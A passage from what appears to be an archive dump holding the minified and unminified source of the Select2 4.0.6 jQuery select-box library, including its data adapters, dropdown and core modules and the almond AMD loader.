b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h<e.length;h++){var i=e[h],j=this._normalizeItem(i),k=this.option(j);this.$element.append(k)}}return b.prototype.query=function(a,b,c){function d(a,f){for(var g=a.results,h=0;h<g.length;h++){var i=g[h],j=null!=i.children&&!d({results:i.children},!0);if((i.text||"").toUpperCase()===(b.term||"").toUpperCase()||j)return!f&&(a.data=g,void c(a))}if(f)return!0;var k=e.createTag(b);if(null!=k){var l=e.option(k);l.attr("data-select2-tag",!0),e.addOptions([l]),e.insertTag(g,k)}a.results=g,c(a)}var e=this;if(this._removeOldTags(),null==b.term||null!=b.page)return void a.call(this,b,c);a.call(this,b,d)},b.prototype.createTag=function(b,c){var d=a.trim(c.term);return""===d?null:{id:d,text:d}},b.prototype.insertTag=function(a,b,c){b.unshift(c)},b.prototype._removeOldTags=function(b){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},b}),b.define("select2/data/tokenizer",["jquery"],function(a){function b(a,b,c){var d=c.get("tokenizer");void 0!==d&&(this.tokenizer=d),a.call(this,b,c)}return b.prototype.bind=function(a,b,c){a.call(this,b,c),this.$search=b.dropdown.$search||b.selection.$search||c.find(".select2-search__field")},b.prototype.query=function(b,c,d){function e(b){var c=g._normalizeItem(b);if(!g.$element.find("option").filter(function(){return a(this).val()===c.id}).length){var d=g.option(c);d.attr("data-select2-tag",!0),g._removeOldTags(),g.addOptions([d])}f(c)}function f(a){g.trigger("select",{data:a})}var g=this;c.term=c.term||"";var h=this.tokenizer(c,this.options,e);h.term!==c.term&&(this.$search.length&&(this.$search.val(h.term),this.$search.focus()),c.term=h.term),b.call(this,c,d)},b.prototype.tokenizer=function(b,c,d,e){for(var f=d.get("tokenSeparators")||[],g=c.term,h=0,i=this.createTag||function(a){return{id:a.term,text:a.term}};h<g.length;){var j=g[h];if(-1!==a.inArray(j,f)){var k=g.substr(0,h),l=a.extend({},c,{term:k}),m=i(l);null!=m?(e(m),g=g.substr(h+1)||"",h=0):h++}else h++}return{term:g}},b}),b.define("select2/data/minimumInputLength",[],function(){function a(a,b,c){this.minimumInputLength=c.get("minimumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",b.term.length<this.minimumInputLength)return void this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumInputLength",[],function(){function a(a,b,c){this.maximumInputLength=c.get("maximumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",this.maximumInputLength>0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<span class="select2-dropdown"><span class="select2-results"></span></span>');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" /></span>');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('<li class="select2-results__option select2-results__option--load-more"role="treeitem" aria-disabled="true"></li>'),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a("<span></span>"),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.top<f.top-h.height,k=i.bottom>f.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d<b.length;d++){var e=b[d];e.children?c+=a(e.children):c++}return c}function b(a,b,c,d){this.minimumResultsForSearch=c.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),a.call(this,b,c,d)}return b.prototype.showSearch=function(b,c){return!(a(c.data.results)<this.minimumResultsForSearch)&&b.call(this,c)},b}),b.define("select2/dropdown/selectOnClose",["../utils"],function(a){function b(){}return b.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("close",function(a){d._handleSelectOnClose(a)})},b.prototype._handleSelectOnClose=function(b,c){if(c&&null!=c.originalSelect2Event){var d=c.originalSelect2Event;if("select"===d._type||"unselect"===d._type)return}var e=this.getHighlightedResults();if(!(e.length<1)){var f=a.GetData(e[0],"data");null!=f.element&&f.element.selected||null==f.element&&f.selected||this.trigger("select",{data:f})}},b}),b.define("select2/dropdown/closeOnSelect",[],function(){function a(){}return a.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("select",function(a){d._selectTriggered(a)}),b.on("unselect",function(a){d._selectTriggered(a)})},a.prototype._selectTriggered=function(a,b){var c=b.originalEvent;c&&c.ctrlKey||this.trigger("close",{originalEvent:c,originalSelect2Event:b})},a}),b.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(a){var b=a.input.length-a.maximum,c="Please delete "+b+" character";return 1!=b&&(c+="s"),c},inputTooShort:function(a){return"Please enter "+(a.minimum-a.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(a){var b="You can only select "+a.maximum+" item";return 1!=a.maximum&&(b+="s"),b},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),b.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C){function D(){this.reset()}return D.prototype.apply=function(l){if(l=a.extend(!0,{},this.defaults,l),null==l.dataAdapter){if(null!=l.ajax?l.dataAdapter=o:null!=l.data?l.dataAdapter=n:l.dataAdapter=m,l.minimumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L<K.length;L++){var M=K[L],N={};try{N=k.loadPath(M)}catch(a){try{M=this.defaults.amdLanguageBase+M,N=k.loadPath(M)}catch(a){l.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+M+'" could not be automatically loaded. A fallback will be used instead.');continue}}J.extend(N)}l.translations=J}else{var O=k.loadPath(this.defaults.amdLanguageBase+"en"),P=new k(l.language);P.extend(O),l.translations=P}return l},D.prototype.reset=function(){function b(a){function b(a){return l[a]||a}return a.replace(/[^\u0000-\u007E]/g,b)}function c(d,e){if(""===a.trim(d.term))return e;if(e.children&&e.children.length>0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h<i;h+=1){var j=g[h].replace(/\s/g,""),k=j.match(c);if(null!==k&&k.length>=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e<b.addedNodes.length;e++){var f=b.addedNodes[e];f.selected&&(c=!0)}else b.removedNodes&&b.removedNodes.length>0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("jquery-mousewheel",["jquery"],function(a){return a}),b.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(a,b,c,d,e){if(null==a.fn.select2){var f=["open","close","destroy"];a.fn.select2=function(b){if("object"==typeof(b=b||{}))return this.each(function(){var d=a.extend(!0,{},b);new c(a(this),d)}),this;if("string"==typeof b){var d,g=Array.prototype.slice.call(arguments,1);return this.each(function(){var a=e.GetData(this,"select2");null==a&&window.console&&console.error&&console.error("The select2('"+b+"') method was called on an element that is not using Select2."),d=a[b].apply(a,g)}),a.inArray(b,f)>-1?this:d}throw new Error("Invalid arguments for Select2: "+b)}}return null==a.fn.select2.defaults&&(a.fn.select2.defaults=d),c}),{define:b.define,require:b.require}}(),c=b.require("jquery.select2");return a.fn.select2.amd=b,c});js/select2.js000064400000451012151677410160007072 0ustar00/*!
 * Select2 4.0.6-rc.1
 * https://select2.github.io
 *
 * Released under the MIT license
 * https://github.com/select2/select2/blob/master/LICENSE.md
 */
;(function (factory) {
  if (typeof define === 'function' && define.amd) {
    // AMD. Register as an anonymous module.
    define(['jquery'], factory);
  } else if (typeof module === 'object' && module.exports) {
    // Node/CommonJS
    module.exports = function (root, jQuery) {
      if (jQuery === undefined) {
        // require('jQuery') returns a factory that requires window to
        // build a jQuery instance, we normalize how we use modules
        // that require this pattern but the window provided is a noop
        // if it's defined (how jquery works)
        if (typeof window !== 'undefined') {
          jQuery = require('jquery');
        }
        else {
          jQuery = require('jquery')(root);
        }
      }
      factory(jQuery);
      return jQuery;
    };
  } else {
    // Browser globals
    factory(jQuery);
  }
} (function (jQuery) {
  // This is needed so we can catch the AMD loader configuration and use it
  // The inner file should be wrapped (by `banner.start.js`) in a function that
  // returns the AMD loader references.
  var S2 =(function () {
  // Restore the Select2 AMD loader so it can be used
  // Needed mostly in the language files, where the loader is not inserted
  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
    var S2 = jQuery.fn.select2.amd;
  }
var S2;(function () { if (!S2 || !S2.requirejs) {
if (!S2) { S2 = {}; } else { require = S2; }
/**
 * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
 * Released under MIT license, http://github.com/requirejs/almond/LICENSE
 */
//Going sloppy to avoid 'use strict' string cost, but strict practices should
//be followed.
/*global setTimeout: false */

var requirejs, require, define;
(function (undef) {
    var main, req, makeMap, handlers,
        defined = {},
        waiting = {},
        config = {},
        defining = {},
        hasOwn = Object.prototype.hasOwnProperty,
        aps = [].slice,
        jsSuffixRegExp = /\.js$/;

    function hasProp(obj, prop) {
        return hasOwn.call(obj, prop);
    }

    /**
